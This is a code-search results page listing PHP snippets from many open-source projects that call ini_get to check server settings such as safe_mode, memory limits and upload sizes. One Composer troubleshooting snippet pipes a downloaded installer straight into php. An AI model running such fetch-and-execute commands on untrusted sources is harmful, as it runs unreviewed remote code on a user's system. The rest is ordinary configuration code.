PageRenderTime 362ms queryTime 82ms sortTime 5ms getByIdsTime 67ms findMatchingLines 60ms

100+ results results for 'php ini_get repo:scottpoulin/jigoshop' (362 ms)

Not the results you expected?
ClassLoader.php https://bitbucket.org/rippleau/nrm-org-au.git | PHP | 498 lines
                    
1<?php
                    
2
                    
39 * @author Jordi Boggiano <j.boggiano@seld.be>
                    
40 * @see    http://www.php-fig.org/psr/psr-0/
                    
41 * @see    http://www.php-fig.org/psr/psr-4/
                    
311	{
                    
312		$this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null;
                    
313	}
                    
386
                    
387		$file = $this->findFileWithExtension($class, '.php');
                    
388
                    
                
index.php https://gitlab.com/selecterskyphp/gaylkj.git | PHP | 345 lines
                    
15if(phpversion() <= '5.3.0') set_magic_quotes_runtime(0);
                    
16if('5.2.0' > phpversion() ) exit('您的php版本过低,不能安装本软件,请升级到5.2.0或更高版本再安装,谢谢!');
                    
17
                    
53 		if(phpversion()<5){
                    
54			die('本系统需要PHP5+MYSQL >=4.1环境,当前PHP版本为:'.phpversion());
                    
55		}
                    
56
                    
57        $phpv = @ phpversion();
                    
58        $os = PHP_OS;
                    
208				@unlink(SITEDIR.'index.php');
                    
209				@copy(SITEDIR.'Install/index_one.php',SITEDIR.'index.php');
                    
210				mysql_query("UPDATE `{$dbPrefix}menu` SET  `status` ='0'   WHERE model='Lang' ");
                    
296
                    
297	if($tablepre != "yourphp_") $sql = str_replace("yourphp_", $tablepre, $sql);
                    
298	$sql = preg_replace("/TYPE=(InnoDB|MyISAM|MEMORY)( DEFAULT CHARSET=[^; ]+)?/", "ENGINE=\\1 DEFAULT CHARSET=utf8",$sql);
                    
                
trax.php https://github.com/phpontrax/trax.git | PHP | 284 lines
                    
32 *  @todo Document this class
                    
33 *  @package PHPonTrax
                    
34 */
                    
86
                    
87        if(substr(PHP_OS, 0, 3) == 'WIN') {
                    
88            # Windows
                    
132        include_once(TRAX_LIB_ROOT."/active_record.php");
                    
133        include_once(TRAX_LIB_ROOT."/action_controller.php");
                    
134        include_once(TRAX_LIB_ROOT."/action_view.php");
                    
174            TRAX_LIB_ROOT,                      # trax libs (vendor/trax or server trax libs)
                    
175            PHP_LIB_ROOT,                       # php libs dir (ex: /usr/local/lib/php)
                    
176            self::$lib_path,                    # app specific libs extra libs to include
                    
234        } else {
                    
235            throw new Exception("Your php install must support spl_autoload_register");
                    
236        }
                    
                
ec_store.admin.inc https://bitbucket.org/9_3designs/web | Pascal | 386 lines
                    
1<?php
                    
2
                    
11function ec_store_ec_settings($form, &$form_state) {
                    
12  $site_mail = variable_get('site_mail', ini_get('sendmail_from'));
                    
13  if (empty($site_mail)) {
                    
                
standalone.php https://github.com/Gninety/Microweber.git | PHP | 400 lines
                    
2/**
                    
3* @version $Id: standalone.php 179 2011-01-04 12:15:17Z soeren $
                    
4* @package eXtplorer
                    
22if (version_compare( phpversion(), '5.0' ) < 0) {
                    
23	require_once( dirname( __FILE__ ) . '/compat.php50x.php' );
                    
24}
                    
39if( empty( $_SERVER['PHP_SELF'])) {
                    
40	$_SERVER['PHP_SELF'] = $_SERVER['SCRIPT_NAME'];
                    
41}
                    
66		session_name( 'eXtplorer' );
                    
67		if( !@is_writable(ini_get('session.save_path')) && ini_get('session.save_handler') == 'files') {
                    
68			ini_set('session.save_path', realpath( dirname( __FILE__ ).'/../ftp_tmp') );
                    
282		$do_gzip_compress = FALSE;
                    
283		$phpver 	= phpversion();
                    
284		$useragent 	= extGetParam( $_SERVER, 'HTTP_USER_AGENT', '' );
                    
                
CodeIgniter.php https://github.com/fangfang/Farseer-QWDIY.git | PHP | 384 lines
                    
1<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP 5.1.6 or newer
                    
6 *
                    
66 * ------------------------------------------------------
                    
67 *  Define a custom error handler so we can log PHP errors
                    
68 * ------------------------------------------------------
                    
71
                    
72	if ( ! is_php('5.3'))
                    
73	{
                    
85 * "libraries" folder. Since CI allows config items to be
                    
86 * overriden via data set in the main index. php file,
                    
87 * before proceeding we need to know if a subclass_prefix
                    
102 */
                    
103	if (function_exists("set_time_limit") == TRUE AND @ini_get("safe_mode") == 0)
                    
104	{
                    
                
FastCGI.php https://github.com/sergeym/phpdaemon.git | PHP | 396 lines
                    
1<?php
                    
2
                    
62			'auto-read-body-file'     => 1,
                    
63			'listen'                  =>  'tcp://127.0.0.1,unix:/tmp/phpdaemon.fcgi.sock',
                    
64			'listen-port'             => 9000,
                    
88			if (
                    
89				($order = ini_get('request_order')) 
                    
90				|| ($order = ini_get('variables_order'))
                    
                
FileStorage.php https://github.com/martinvenus/W20.git | PHP | 461 lines
                    
1<?php
                    
2
                    
80			// tests subdirectory mode
                    
81			self::$useDirectories = !ini_get('safe_mode');
                    
82			if (!self::$useDirectories && @file_put_contents("$dir/$uniq/_", '') !== FALSE) { // @ - error is expected
                    
230		$head = serialize($meta) . '?>';
                    
231		$head = '<?php //netteCache[01]' . str_pad((string) strlen($head), 6, '0', STR_PAD_LEFT) . $head;
                    
232		$headLen = strlen($head);
                    
362			if (is_array($meta)) {
                    
363				fseek($handle, $size + self::META_HEADER_LEN); // needed by PHP < 5.2.6
                    
364				$meta[self::FILE] = $file;
                    
                
install.php https://bitbucket.org/selfeky/xclusivescardwebsite.git | PHP | 337 lines
                    
80		if (file_exists(DIR_CONFIG_SITE . '/site_install_user.php')) {
                    
81			require(DIR_CONFIG_SITE . '/site_install.php');
                    
82			@include(DIR_CONFIG_SITE . '/site_install_user.php');
                    
110		$phpVmin = '5.2.4';
                    
111		if (version_compare(PHP_VERSION, $phpVmin, '>=')) {
                    
112			$phpVtest = true;
                    
116		$this->set('phpVmin',$phpVmin);
                    
117		$this->set('phpVtest',$phpVtest);
                    
118	}
                    
168		require(DIR_CONFIG_SITE . '/site_install.php');
                    
169		@include(DIR_CONFIG_SITE . '/site_install_user.php');
                    
170		
                    
229		}
                    
230		if (file_exists(DIR_CONFIG_SITE . '/site_install.php')) {
                    
231			unlink(DIR_CONFIG_SITE . '/site_install.php');
                    
                
class.Utils.php git://github.com/ginatrapani/isosceles.git | PHP | 201 lines
                    
1<?php
                    
2/**
                    
24     *
                    
25     * @author http://recursive-design.com/blog/2008/03/11/format-json-with-php/
                    
26     * @param string $json The original JSON string to process.
                    
84    /**
                    
85     * Becuse PHP doesn't have a data type large enough to hold some of the
                    
86     * numbers that Twitter deals with, this function strips the double
                    
97    /**
                    
98     * If date.timezone is not set in php.ini, default to America/Los_Angeles to avoid date() warning about
                    
99     * using system settings.
                    
102     */
                    
103    public static function setDefaultTimezonePHPini() {
                    
104        if (ini_get('date.timezone') == false) {
                    
105            // supress the date_default_timezone_get() warn as php 5.3.* doesn't like when date.timezone is not set in
                    
106            // php.ini, but many systems comment it out by default, or have no php.ini by default
                    
107            $error_reporting = error_reporting(); // save old reporting setting
                    
                
Mysql.php git://github.com/michael-romer/zf-boilerplate.git | PHP | 326 lines
                    
25 * @copyright Copyright (c) phpRack.com
                    
26 * @version $Id: Mysql.php 611 2010-07-12 14:23:40Z yegor256@yahoo.com $
                    
27 * @category phpRack
                    
32 */
                    
33require_once PHPRACK_PATH . '/Adapters/Db/Abstract.php';
                    
34
                    
43 */
                    
44class phpRack_Adapters_Db_Mysql extends phpRack_Adapters_Db_Abstract
                    
45{
                    
152             */
                    
153            require_once PHPRACK_PATH . '/Adapters/Db/Mysql/Result/Formatter.php';
                    
154            $response = phpRack_Adapters_Db_Mysql_Result_Formatter::formatResult($result);
                    
304         */
                    
305        require_once PHPRACK_PATH . '/Adapters/Db/Mysql/Result/Formatter.php';
                    
306
                    
                
update.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 476 lines
                    
1<?php
                    
2/**
                    
5 *  @license GNU General Public License version 3, or later
                    
6 *  @version $Id: update.php 82 2010-10-23 19:13:50Z nikosdion $
                    
7 */
                    
32		jimport('joomla.filesystem.file');
                    
33		$this->isPro = JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.DS.'tables'.DS.'redirs.php');
                    
34
                    
50	{
                    
51		// If we are not allowed to use ini_get, we assume that URL fopen is
                    
52		// disabled.
                    
52		// disabled.
                    
53		if(!function_exists('ini_get'))
                    
54		return false;
                    
409			} else {
                    
410				// PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4)
                    
411				ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)');
                    
                
Helper.php https://bitbucket.org/awylie199/s5t.git | PHP | 248 lines
                    
1<?php if ( ! defined( 'ABSPATH' ) ) exit;
                    
2
                    
137     *
                    
138     * Converts PHP settings from a string to bytes.
                    
139     *
                    
225        if( ! function_exists( $function ) ) return true;
                    
226        $disabled = explode( ',',  ini_get( 'disable_functions' ) );
                    
227        return in_array( $function, $disabled );
                    
233        if ( is_serialized( $original ) ){
                    
234            // Ported with php5.2 support from https://magp.ie/2014/08/13/php-unserialize-string-after-non-utf8-characters-stripped-out/
                    
235            $parsed = preg_replace_callback( '!s:(\d+):"(.*?)";!s', array( 'self', 'parse_utf8_serialized' ), $original );
                    
                
s2.scan2.php https://bitbucket.org/devqanh/tintuc.devqanh.info.git | PHP | 118 lines
                    
26		echo '<hr size="1" /><span id="data-srv-php-version"></span>&nbsp;<b>' . __('PHP Version', 'duplicator') . "</b> <br/>";
                    
27		_e('The minimum PHP version supported by Duplicator is 5.2.9. It is highly recommended to use PHP 5.3+ for improved stability.  For international language support please use PHP 7.0+.', 'duplicator');
                    
28		
                    
33		_e('Issues might occur when [open_basedir] is enabled. Work with your server admin to disable this value in the php.ini file if you’re having issues building a package.', 'duplicator');
                    
34		echo "&nbsp;<i><a href='http://www.php.net/manual/en/ini.core.php#ini.open-basedir' target='_blank'>[" . __('details', 'duplicator') . "]</a></i><br/>";
                    
35
                    
44			. 'However use caution as excluding the wrong resources can cause your install to not work properly.', 'duplicator');
                    
45		echo "&nbsp;<i><a href='http://www.php.net/manual/en/info.configuration.php#ini.max-execution-time' target='_blank'>[" . __('details', 'duplicator')  . "]</a></i>";
                    
46
                    
104		$('#data-srv-php-websrv').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.websrv));
                    
105		$('#data-srv-php-openbase').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.openbase));
                    
106		$('#data-srv-php-maxtime').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.maxtime));
                    
106		$('#data-srv-php-maxtime').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.maxtime));
                    
107		$('#data-srv-php-version').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.version));
                    
108		$('#data-srv-php-openssl').html(Duplicator.Pack.setScanStatus(data.SRV.PHP.openssl));
                    
                
MongoDbSessionHandlerTest.php https://github.com/symfony/symfony.git | PHP | 214 lines
                    
1<?php
                    
2
                    
14use MongoDB\Client;
                    
15use PHPUnit\Framework\MockObject\MockObject;
                    
16use PHPUnit\Framework\TestCase;
                    
123                $data = $updateData['$set'];
                    
124                $expectedExpiry = time() + (int) ini_get('session.gc_maxlifetime');
                    
125                $this->assertInstanceOf(\MongoDB\BSON\Binary::class, $data[$this->options['data_field']]);
                    
                
Core.class.php https://gitlab.com/adamlwalker/generatedata | PHP | 511 lines
                    
1<?php
                    
2
                    
13
                    
14	// overridable settings that the user may define in settings.php
                    
15	private static $demoMode = false;	
                    
37	private static $releaseDate = "2014-09-06";
                    
38	private static $minimumPHPVersion = "5.3.0";
                    
39	private static $minimumMySQLVersion = "4.1.3";
                    
46	// left as public, because they're often modified / accessed, and it's just too fussy otherwise. The
                    
47	// PHPDoc helps my IDE figure out what the hell each of them are
                    
48
                    
112		// ensure the timezone is set. This is an arbitrary value (well, I live in Vancouver!) but it prevents warnings
                    
113		if (ini_get("date.timezone") == "") {
                    
114			ini_set("date.timezone", "Canada/Vancouver");
                    
157	private static function loadSettingsFile() {
                    
158		$settingsFilePath = realpath(__DIR__ . "/../../settings.php");
                    
159		if (file_exists($settingsFilePath)) {
                    
                
Uploader.php https://gitlab.com/staging06/myproject | PHP | 292 lines
                    
1<?php
                    
2/*
                    
9* It is also available through the world-wide-web at this URL:
                    
10* http://opensource.org/licenses/osl-3.0.php
                    
11* If you did not receive a copy of the license and are unable to
                    
22*  @copyright  2007-2015 PrestaShop SA
                    
23*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
24*  International Registered Trademark & Property of PrestaShop SA
                    
113    {
                    
114        $post_max_size = ini_get('post_max_size');
                    
115        $bytes         = trim($post_max_size);
                    
185                // Non-multipart uploads (PUT method support)
                    
186                file_put_contents($file_path, fopen('php://input', 'r'));
                    
187            }
                    
207            case 1:
                    
208                $error = sprintf(Tools::displayError('The uploaded file exceeds %s'), ini_get('upload_max_filesize'));
                    
209                break;
                    
                
pageThumbnailUpload.php https://github.com/SamGoody/feindura-flat-file-cms.git | PHP | 202 lines
                    
94  <li><?php echo $langFile['pagethumbnail_thumbinfo_formats']; ?><br /><b>JPG</b>, <b>JPEG</b>, <b>GIF</b>, <b>PNG</b></li>
                    
95  <li><?php echo $langFile['pagethumbnail_thumbinfo_filesize'].' <b>'.ini_get('upload_max_filesize').'B</b>'; ?></li>
                    
96  <li><b><?php echo $langFile['pagethumbnail_thumbinfo_standardthumbsize']; ?></b><br />
                    
106<div style="position: relative">
                    
107<!-- <form action="?site=pageThumbnail&amp;category=<?php echo $category; ?>&amp;id=<?php echo $page; ?>" id="pageThumbnailUploadForm" enctype="multipart/form-data" method="post" onsubmit="requestSite('<?php echo $_SERVER['PHP_SELF']; ?>','','pageThumbnailUploadForm');return false;" accept-charset="UTF-8"> -->
                    
108<form action="library/processes/thumbnailUpload.process.php" id="pageThumbnailUploadForm" enctype="multipart/form-data" method="post" onsubmit="startUploadAnimation();" target="uploadTargetFrame" accept-charset="UTF-8">
                    
130  <label for="windowBox_thumbWidth">
                    
131  <?php echo $langFile['pagethumbnail_thumbsize_width'] ?></label>
                    
132  </td><td>
                    
132  </td><td>
                    
133  <input id="windowBox_thumbWidth" name="thumbWidth" class="short" value="<?php echo $thumbWidth; ?>"<?php echo $thumbRatioX; ?> />
                    
134  <?php echo $langFile['pagethumbnail_thumbsize_unit']; ?>
                    
156  </td><td>
                    
157  <input id="windowBox_thumbHeight" name="thumbHeight" class="short" value="<?php echo $thumbHeight; ?>"<?php echo $thumbRatioY; ?> />
                    
158  <?php echo $langFile['pagethumbnail_thumbsize_unit']; ?>
                    
                
google.php https://gitlab.com/asosab/ws-geo | PHP | 250 lines
                    
1<?php 
                    
2require_once $_SERVER["DOCUMENT_ROOT"] ."/controlador/color.php";
                    
2require_once $_SERVER["DOCUMENT_ROOT"] ."/controlador/color.php";
                    
3require_once $_SERVER["DOCUMENT_ROOT"] . '/servicios/geo/geo.php';
                    
4//	require_once $_SERVER["DOCUMENT_ROOT"] . '/vendor/colors_of_image/colorsofimage.class.php';
                    
4//	require_once $_SERVER["DOCUMENT_ROOT"] . '/vendor/colors_of_image/colorsofimage.class.php';
                    
5//	if (!ini_get("auto_detect_line_endings")) ini_set("auto_detect_line_endings", '1');
                    
6//https://maps.google.com/maps/api/geocode/json?latlng=8.3650243,-62.6529962
                    
                
ImportShp.class.php https://bitbucket.org/kamegai_mp/dai-ichi-seimei.git | PHP | 343 lines
                    
1<?php
                    
2/* vim: set expandtab sw=4 ts=4 sts=4: */
                    
3/**
                    
4 * ESRI Shape file import plugin for phpMyAdmin
                    
5 *
                    
5 *
                    
6 * @package    PhpMyAdmin-Import
                    
7 * @subpackage ESRI_Shape
                    
8 */
                    
9if (! defined('PHPMYADMIN')) {
                    
10    exit;
                    
19/* Get the import interface*/
                    
20require_once 'libraries/plugins/ImportPlugin.class.php';
                    
21/* Get the ShapeFile class */
                    
21/* Get the ShapeFile class */
                    
22require_once 'libraries/bfShapeFiles/ShapeFile.lib.php';
                    
23require_once 'libraries/plugins/import/ShapeFile.class.php';
                    
                
password.php https://gitlab.com/exabyte-lab/tiffinbox | PHP | 251 lines
                    
1<?php
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP
                    
6 *
                    
40/**
                    
41 * PHP ext/standard/password compatibility package
                    
42 *
                    
47 * @link		https://codeigniter.com/user_guide/
                    
48 * @link		http://php.net/password
                    
49 */
                    
52
                    
53if (is_php('5.5') OR ! defined('CRYPT_BLOWFISH') OR CRYPT_BLOWFISH !== 1 OR defined('HHVM_VERSION'))
                    
54{
                    
69	 *
                    
70	 * @link	http://php.net/password_get_info
                    
71	 * @param	string	$hash
                    
                
basic_functions.h https://bitbucket.org/oglop/tomato-arm-kille72.git | C Header | 271 lines
                    
58#ifdef HAVE_INET_NTOP
                    
59PHP_NAMED_FUNCTION(php_inet_ntop);
                    
60#endif
                    
61#ifdef HAVE_INET_PTON
                    
62PHP_NAMED_FUNCTION(php_inet_pton);
                    
63#endif
                    
93PHP_FUNCTION(highlight_string);
                    
94PHP_FUNCTION(php_strip_whitespace);
                    
95ZEND_API void php_get_highlight_struct(zend_syntax_highlighter_ini *syntax_highlighter_ini);
                    
96
                    
97PHP_FUNCTION(ini_get);
                    
98PHP_FUNCTION(ini_get_all);
                    
267PHPAPI void php_call_shutdown_functions(void);
                    
268PHPAPI void php_free_shutdown_functions(void);
                    
269
                    
                
cleaner.php https://gitlab.com/hub/vbulletin.git | PHP | 419 lines
                    
1<?php
                    
2
                    
99
                    
100		if (@ini_get('register_globals') OR !@ini_get('gpc_order'))
                    
101		{
                    
343						{
                    
344							require_once(DIR . '/includes/functions_misc.php');
                    
345							$data = vbmktime($data['hour'], $data['minute'], $data['second'], $data['month'], $data['day'], $data['year']);
                    
409	{
                    
410		if ($query = vB_String::parseUrl($url, PHP_URL_QUERY))
                    
411		{
                    
                
config.php https://github.com/pirrat/Consilio.git | PHP | 195 lines
                    
41
                    
42if (!((function_exists('apc_store') && ini_get('apc.enabled')) || function_exists('eaccelerator_put') && ini_get('eaccelerator.enable') || function_exists('xcache_set'))) {
                    
43    $minorProblems[] = 'Install and enable a <strong>PHP accelerator</strong> like APC (highly recommended).';
                    
114    $phpini = true;
                    
115    $minorProblems[] = 'Set <strong>register_globals</strong> to <strong>off</strong> in php.ini<a href="#phpini">*</a>.';
                    
116}
                    
119    $phpini = true;
                    
120    $minorProblems[] = 'Set <strong>session.auto_start</strong> to <strong>off</strong> in php.ini<a href="#phpini">*</a>.';
                    
121}
                    
170
                    
171                    <?php if ($phpini): ?>
                    
172                            <a id="phpini"></a>
                    
174                                    <?php if (get_cfg_var('cfg_file_path')): ?>
                    
175                                        Changes to the <strong>php.ini</strong> file must be done in "<strong><?php echo get_cfg_var('cfg_file_path') ?></strong>".
                    
176                                    <?php else: ?>
                    
                
index.php git://pkgs.fedoraproject.org/moodle | PHP | 370 lines
                    
1<?php
                    
2
                    
26// Check that config.php exists, if not then call the install script
                    
27if (!file_exists('../config.php')) {
                    
28    header('Location: ../install.php');
                    
33if (version_compare(phpversion(), '5.3.2') < 0) {
                    
34    $phpversion = phpversion();
                    
35    // do NOT localise - lang strings would not work here and we CAN NOT move it to later place
                    
35    // do NOT localise - lang strings would not work here and we CAN NOT move it to later place
                    
36    echo "Moodle 2.1 or later requires at least PHP 5.3.2 (currently using version $phpversion).<br />";
                    
37    echo "Please upgrade your server software or install older Moodle version.";
                    
77if (ini_get_bool('magic_quotes_runtime')) {
                    
78    print_error('phpvaroff', 'debug', '', (object)array('name'=>'magic_quotes_runtime', 'link'=>$documentationlink));
                    
79}
                    
80
                    
81if (!ini_get_bool('file_uploads')) {
                    
82    print_error('phpvaron', 'debug', '', (object)array('name'=>'file_uploads', 'link'=>$documentationlink));
                    
                
troubleshooting.md https://gitlab.com/yousafsyed/easternglamor | Markdown | 159 lines
                    
163. Make sure you have no problems with your setup by running the installer's
                    
17   checks via `curl -sS https://getcomposer.org/installer | php -- --check`.
                    
18
                    
85
                    
86`PHP Fatal error:  Allowed memory size of XXXXXX bytes exhausted <...>`
                    
87
                    
87
                    
88The PHP `memory_limit` should be increased.
                    
89
                    
96```sh
                    
97php -r "echo ini_get('memory_limit').PHP_EOL;"
                    
98```
                    
99
                    
100Try increasing the limit in your `php.ini` file (ex. `/etc/php5/cli/php.ini` for
                    
101Debian-like systems):
                    
                
urlrewrite.php https://gitlab.com/alexprowars/bitrix | PHP | 174 lines
                    
6require_once(__DIR__."/autoload.php");
                    
7require_once(__DIR__."/../tools.php");
                    
8
                    
20		{
                    
21			if($_SERVER["REQUEST_URI"] == '' || $_SERVER["REQUEST_URI"] == '/404.php' || mb_strpos($_SERVER["REQUEST_URI"], $marker) !== false)
                    
22			{
                    
35
                    
36require_once($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/dbconn.php");
                    
37
                    
58$arUrlRewrite = array();
                    
59if(file_exists($_SERVER['DOCUMENT_ROOT']."/urlrewrite.php"))
                    
60	include($_SERVER['DOCUMENT_ROOT']."/urlrewrite.php");
                    
88			$_REQUEST += $vars;
                    
89			if (ini_get_bool("register_globals"))
                    
90				$GLOBALS += $vars;
                    
                
PwPostDoPoll.php https://gitlab.com/wuhang2003/phpwind | PHP | 329 lines
                    
1<?php
                    
2defined('WEKIT_VERSION') || exit('Forbidden');
                    
9 * @author MingXing Sun <mingxing.sun@aliyun-inc.com>
                    
10 * @copyright ©2003-2103 phpwind.com
                    
11 * @license http://www.phpwind.com
                    
11 * @license http://www.phpwind.com
                    
12 * @version $Id: PwPostDoPoll.php 23975 2013-01-17 10:20:11Z jieyin $
                    
13 * @package forum
                    
33		$this->action = $this->tid ? 'modify' : 'add';
                    
34		$this->post_max_size = @ini_get('post_max_size');
                    
35		$this->max_file_uploads = @ini_get('max_file_uploads');
                    
                
SEOstats.php git://github.com/eyecatchup/SEOstats.git | PHP | 272 lines
                    
1<?php
                    
2namespace SEOstats;
                    
10 *  ================================================================================
                    
11 *  PHP library to request a bunch of SEO-relevant metrics, such as looking up the
                    
12 *  visibilty of a URL within organic search results, Pagespeed analysis, the
                    
19 *  @license     http://eyecatchup.mit-license.org
                    
20 *  @version     CVS: $Id: SEOstats.php, v2.5.2 Rev 31 2013/08/14 13:57:17 ssc Exp $
                    
21 *  @link        https://github.com/eyecatchup/SEOstats/
                    
42/**
                    
43 * Check required PHP settings.
                    
44 */
                    
45if (!function_exists('curl_init')) {
                    
46    throw new E('SEOstats requires the PHP CURL extension.');
                    
47    exit();
                    
49
                    
50if (1 == ini_get('safe_mode') || 'on' === strtolower(ini_get('safe_mode'))) {
                    
51    throw new E('Because some SEOstats functions require the CURLOPT_FOLLOWLOCATION flag, ' .
                    
                
MongoDbSessionHandlerTest.php https://gitlab.com/puntodos/ean-landings | PHP | 251 lines
                    
1<?php
                    
2
                    
20 */
                    
21class MongoDbSessionHandlerTest extends \PHPUnit_Framework_TestCase
                    
22{
                    
23    /**
                    
24     * @var \PHPUnit_Framework_MockObject_MockObject
                    
25     */
                    
33
                    
34        $mongoClass = version_compare(phpversion('mongo'), '1.3.0', '<') ? 'Mongo' : 'MongoClient';
                    
35
                    
134
                    
135        $expectedExpiry = time() + (int) ini_get('session.gc_maxlifetime');
                    
136        $this->assertTrue($this->storage->write('foo', 'bar'));
                    
                
Import.php https://gitlab.com/r.collas/site_central | PHP | 226 lines
                    
1<?php
                    
2
                    
87		if (!$this -> getElement('module') -> getValue()) {
                    
88			$upload_max_filesize = ini_get('upload_max_filesize');
                    
89			$tooltip = 'importfile_tooltip';
                    
117		}
                    
118		$upload_max_filesize = ini_get('upload_max_filesize');
                    
119		$tooltip = 'importfile_tooltip';
                    
                
postdao_test.php https://github.com/gedex/thinktank.git | PHP | 269 lines
                    
1<?php 
                    
2require_once (dirname(__FILE__).'/simpletest/autorun.php');
                    
2require_once (dirname(__FILE__).'/simpletest/autorun.php');
                    
3require_once (dirname(__FILE__).'/simpletest/web_tester.php');
                    
4
                    
4
                    
5require_once (dirname(__FILE__).'/config.tests.inc.php');
                    
6ini_set("include_path", ini_get("include_path").PATH_SEPARATOR.$INCLUDE_PATH);
                    
7
                    
8require_once ("classes/class.ThinkTankTestCase.php");
                    
9require_once ("class.Post.php");
                    
9require_once ("class.Post.php");
                    
10require_once ("class.Link.php");
                    
11
                    
                
NativeSessionStorageTest.php https://gitlab.com/firastrabelsi/PiDevMoocWeb | PHP | 258 lines
                    
1<?php
                    
2
                    
31 */
                    
32class NativeSessionStorageTest extends \PHPUnit_Framework_TestCase
                    
33{
                    
137        $storage = new NativeSessionStorage();
                    
138        $this->assertEquals('', ini_get('session.cache_limiter'));
                    
139    }
                    
145        $storage = new NativeSessionStorage(array('cache_limiter' => 'public'));
                    
146        $this->assertEquals('public', ini_get('session.cache_limiter'));
                    
147    }
                    
180    {
                    
181        if (PHP_VERSION_ID >= 50400) {
                    
182            $this->markTestSkipped('Test skipped, for PHP 5.3 only.');
                    
202    {
                    
203        if (PHP_VERSION_ID < 50400) {
                    
204            $this->markTestSkipped('Test skipped, for PHP 5.4 only.');
                    
                
Output.php https://gitlab.com/varsha_evonix/intranet | PHP | 574 lines
                    
1<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP 5.1.6 or newer
                    
6 *
                    
93	{
                    
94		$this->_zlib_oc = @ini_get('zlib.output_compression');
                    
95
                    
96		// Get mime types for later
                    
97		if (defined('ENVIRONMENT') AND file_exists(APPPATH.'config/'.ENVIRONMENT.'/mimes.php'))
                    
98		{
                    
98		{
                    
99		    include APPPATH.'config/'.ENVIRONMENT.'/mimes.php';
                    
100		}
                    
102		{
                    
103			include APPPATH.'config/mimes.php';
                    
104		}
                    
                
module.audio.shorten.php https://bitbucket.org/pbwebdev/podcast-suite.git | PHP | 184 lines
                    
1<?php
                    
2defined( '_JEXEC' ) or die;
                    
10//                                                             //
                    
11// module.audio.shorten.php                                    //
                    
12// module for analyzing Shorten Audio files                    //
                    
115
                    
116		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
                    
117			$info['error'][] = 'PHP running in Safe Mode - backtick operator not available, cannot run shntool to analyze Shorten files';
                    
150
                    
151			getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);
                    
152
                    
                
AbstractDumper.php https://gitlab.com/ntphuc/FoodyBackend | PHP | 176 lines
                    
1<?php
                    
2
                    
23{
                    
24    public static $defaultOutput = 'php://output';
                    
25
                    
39    {
                    
40        $this->setCharset($charset ?: ini_get('php.output_encoding') ?: ini_get('default_charset') ?: 'UTF-8');
                    
41        $this->decimalPoint = (string) 0.5;
                    
                
requirements.php https://gitlab.com/potiev/machine-learning | PHP | 137 lines
                    
5 * In order to run this script use the following console command:
                    
6 * php requirements.php
                    
7 *
                    
9 * If you are using Linux you can create a hard link instead, using the following command:
                    
10 * ln requirements.php ../requirements.php
                    
11 */
                    
25
                    
26$gdMemo = $imagickMemo = 'Either GD PHP extension with FreeType support or ImageMagick PHP extension with PNG support is required for image CAPTCHA.';
                    
27$gdOK = $imagickOK = false;
                    
103    // PHP ini :
                    
104    'phpExposePhp' => array(
                    
105        'name' => 'Expose PHP',
                    
108        'by' => 'Security reasons',
                    
109        'memo' => '"expose_php" should be disabled at php.ini',
                    
110    ),
                    
                
crontab.php https://github.com/ringmaster/system.git | PHP | 264 lines
                    
1<?php
                    
2/**
                    
97		// allow script to run for 10 minutes. This only works on host with safe mode DISABLED
                    
98		if ( !ini_get( 'safe_mode' ) ) {
                    
99			set_time_limit( 600 );
                    
                
Zip.php https://bitbucket.org/abhishekjazz/survey.git | PHP | 532 lines
                    
1<?php
                    
2/**
                    
4 *
                    
5 * An open source application development framework for PHP
                    
6 *
                    
43 * This class is based on a library I found at Zend:
                    
44 * http://www.zend.com/codex.php?id=696&single=1
                    
45 *
                    
121	{
                    
122		isset(self::$func_overload) OR self::$func_overload = (extension_loaded('mbstring') && ini_get('mbstring.func_overload'));
                    
123
                    
522			// mb_substr($str, $start, null, '8bit') returns an empty
                    
523			// string on PHP 5.3
                    
524			isset($length) OR $length = ($start >= 0 ? self::strlen($str) - $start : -$start);
                    
                
zend_ini_parser.y http://php52-backports.googlecode.com/svn/trunk/ | Happy | 317 lines
                    
113
                    
114void zend_ini_get_constant(zval *result, zval *name)
                    
115{
                    
132
                    
133void zend_ini_get_var(zval *result, zval *name)
                    
134{
                    
169	if (CG(ini_parser_unbuffered_errors)) {
                    
170#ifdef PHP_WIN32
                    
171		MessageBox(NULL, error_buf, "PHP Error", MB_OK|MB_TOPMOST|0x00200000L);
                    
172#else
                    
173		fprintf(stderr, "PHP:  %s", error_buf);
                    
174#endif
                    
293cfg_var_ref:
                    
294		TC_DOLLAR_CURLY TC_STRING '}' { zend_ini_get_var(&$$, &$2); free($2.value.str.val); }
                    
295;
                    
                
functions_image.php https://gitlab.com/mybbpl/ppm-1.6 | PHP | 257 lines
                    
1<?php
                    
2/**
                    
171
                    
172	$memory_limit = @ini_get("memory_limit");
                    
173	if(!$memory_limit || $memory_limit == -1)
                    
                
transport.php git://github.com/campaignmonitor/createsend-php.git | PHP | 352 lines
                    
1<?php
                    
2
                    
142
                    
143                if(strlen(ini_get('curl.cainfo')) === 0) {
                    
144                    curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__).'/cacert.pem');
                    
172
                    
173                require_once dirname(__FILE__).'/exceptions.php';
                    
174                throw new CurlException(curl_error($ch), curl_errno($ch));
                    
                
general.php https://gitlab.com/endomorphosis/reservationtelco | PHP | 214 lines
                    
31						?>
                    
